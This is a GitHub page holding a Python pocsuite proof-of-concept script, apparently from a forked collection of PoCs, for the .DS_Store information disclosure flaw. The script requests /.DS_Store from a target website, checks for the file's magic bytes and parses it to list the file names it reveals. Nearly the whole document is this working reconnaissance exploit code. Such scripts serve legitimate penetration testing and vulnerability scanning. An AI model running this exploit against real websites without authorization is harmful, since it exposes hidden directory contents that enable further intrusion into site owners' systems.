forked from njcx/pocsuite_poc_collect
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathApple Macintosh OS X .DS_Store 信息泄露漏洞.py
executable file
·62 lines (52 loc) · 1.8 KB
/
Apple Macintosh OS X .DS_Store 信息泄露漏洞.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python
# coding: utf-8
import re
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
from ds_store import DSStore
class TestPOC(POCBase):
vulID = '1729' # vul ID
version = '1'
author = ['ricter']
vulDate = '2015-03-09'
createDate = '2015-03-09'
updateDate = '2015-03-09'
references = ['http://www.securityfocus.com/bid/3324/discuss']
name = 'Apple Macintosh OS X .DS_Store Information Disclosure'
appPowerLink = 'http://www.apple.com'
appName = 'Apple Macintosh OS X'
appVersion = 'all version'
vulType = 'Information Disclosure'
desc = '''
在开发过程中开发者可能会把 .DS_Store 文件上传到网站上导致
信息泄露漏洞。
'''
samples = ['']
install_requires = ['ds_store==1.0.1']
def _attack(self):
return self._verify()
def _verify(self):
result = {}
url = '%s/.DS_Store' % self.url
response = req.get(url).content
filelist = []
if '\x00\x00\x00\x01\x42\x75\x64\x31' in response:
try:
with DSStore.open(response, 'r+') as obj:
for i in obj:
filelist.append(i.filename)
except Exception, e:
print '[-] Error: %s' % str(e)
result['FileInfo'] = {}
result['FileInfo']['Filename'] = url
result['FileInfo']['Content'] = set(list(filelist))
return self.parse_attack(result)
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)